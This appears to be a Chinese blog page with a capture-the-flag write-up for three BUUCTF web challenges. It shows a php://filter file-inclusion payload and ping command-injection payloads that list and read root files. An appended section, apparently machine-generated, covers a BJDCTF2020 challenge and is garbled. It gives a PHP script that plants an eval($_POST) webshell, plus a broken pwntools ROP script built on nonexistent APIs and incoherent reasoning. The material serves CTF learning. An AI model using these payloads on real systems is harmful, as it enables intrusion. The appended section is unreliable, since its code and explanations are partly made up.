Buuctf-WEB简单的3套题

文章介绍了BuUCTF和ACTF2020新生赛中的三道题目,涉及文件包含和命令执行的漏洞利用。在Havefun中,通过GET参数获取flag;在Include1中,利用base64编码读取flag.php源码获取flag;在Exec中,通过命令执行找到并读取根目录下的flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Buuctf-WEB

题目地址BUUCTF

[极客大挑战 2019]Havefun

比较简单的题目

打开网页看着很简单,只有一个动图,直接查看源代码

在最下面有注释代码,对代码进行分析

$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}

分析可得如果当get传参为dog时,输出Syc{cat_cat_cat_cat},直接输入get参数cat

获取到flag

[ACTF2020 新生赛]Include1

题目已经进行了提示,文件包含漏洞,其实文件包含漏洞相对比较简单,参考这篇文章文件包含漏洞总结都在这里了。第一反应是base64读源码,本题到这里也就结束了。

打开后发现有个tips,直接点开,观察链接,可以基本确定文件包含形式

直接base64读取flag.php源码
?file=php://filter/convert.base64-encode/resource=flag.php

可以看到falg.php的源码已经被读取出来了,base64解密

获得flag

[ACTF2020 新生赛]Exec

通过提示,可以发现为命令执行题目。打开网页发现为ping命令执行

ping的命令执行最困难的在于绕过,套路都比较固定,可以参考这篇文章命令执行

首先测试本地ping,发现能ping通,直接运用分号阶段命令执行。
127.0.0.1;ls

此处可以发现ls命令执行成功了,接下来的思路就是运用命令寻找flag了,其实做得多了通过经验分析,一般flag都在根目录下或者tmp文件夹或者php源码中,在这里直接找找根目录。
127.0.0.1;ls /

在根目录下直接发现flag。读取flag即可
127.0.0.1;cat /flag

### 关于BUUCTF BJDCTF2020 “认真你就输”的解思路 #### 赛事背景与题目概述 在BJDCTF 2020赛事中,“认真你就输”是一道典型的Web安全挑战。这类题目通常涉及常见的漏洞利用技术,例如文件上传绕过、反序列化攻击以及命令注入等[^1]。 #### 文件上传与反序列化的结合 根据已知的参考资料,可以推测该题目可能涉及到图片马(PHP反序列化利用)。通过构造恶意的文件名或者文件内容,选手可以在服务器端触发特定的安全机制漏洞并最终获取Shell访问权限[^2]。具体来说: - **图片马**:这是一种将恶意代码嵌入到看似正常的图像文件中的方法。由于许多应用允许用户上传头像或其他类型的媒体文件,因此这种技巧非常有效。 - **PHP反序列化**:当应用程序接受来自用户的序列化数据并将它们存储或传递给其他组件时,如果这些数据被篡改为包含有害指令,则可能导致远程代码执行等问发生。 以下是基于上述理论的一个简单示例脚本用于演示如何创建一个基本的“图片木马”,请注意这仅作为学习用途展示概念而非实际操作指南: ```php <?php class Exploit { public $cmd; function __construct($command){ $this->cmd=$command; } } $payload = new Exploit(&#39;echo "<?php @eval(\$_POST[\&#39;password\&#39;]);?>"> /var/www/html/shell.php&#39;); file_put_contents("exploit.png", serialize($payload)); ?> ``` 此代码片段定义了一个名为`Exploit`的对象类,并设置其属性为要执行的一条Linux Shell命令字符串;接着实例化此类对象的同时传入相应的参数值完成初始化过程;最后把整个对象保存成PNG格式文件以便后续提交至目标站点进行测试验证工作。 #### 利用ROP链突破防护措施 对于某些情况下存在额外保护层的情况(比如堆栈溢出),可以通过构建Return-Oriented Programming (ROP)链条来规避检测进而达成目的。这里提到三种主要解决方案之一便是按照既定流程依次向堆栈推入所需参数直至满足条件跳转回指定位置继续运行剩余部分逻辑[^3]。 另外一种常见手法则是借助动态链接库(DLLs)/共享对象(SOs)内的现有功能重新配置受影响区域内存页表项标志位从而赋予相应范围读/写/执权能以加载自定义编写好的shellcode片段加以控制接管进程上下文环境达到预期成果表现形式如下所示: 假设我们已经成功泄露libc基址,那么就可以计算得到system函数偏移量以及"/bin/sh"字符串所在地址. ```python from pwn import * p=remote(&#39;challenge-address&#39;,port_number) offset_system=u64(leak_libc_base_addr)+known_offset_to_system_function arg_bin_sh=u64(leak_libc_base_addr)+known_offset_to_string_binsh rop=pwndbg.rop.Rop() rop.raw(offset_system) rop.raw(arg_bin_sh) payload=b&#39;A&#39;*buffer_size+rop.chain() p.sendline(payload) p.interactive() ``` 以上Python脚本展示了如何连接远程服务发送精心设计的数据包触发缓冲区越界错误暴露底层操作系统接口调用实现交互式终端会话建立全过程. #### 实际Payload的应用场景说明 最后参照给出的例子得知只需往URL查询参数附加特殊构造的内容就能轻易拿下flag得分结束比赛环节[^4]. ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值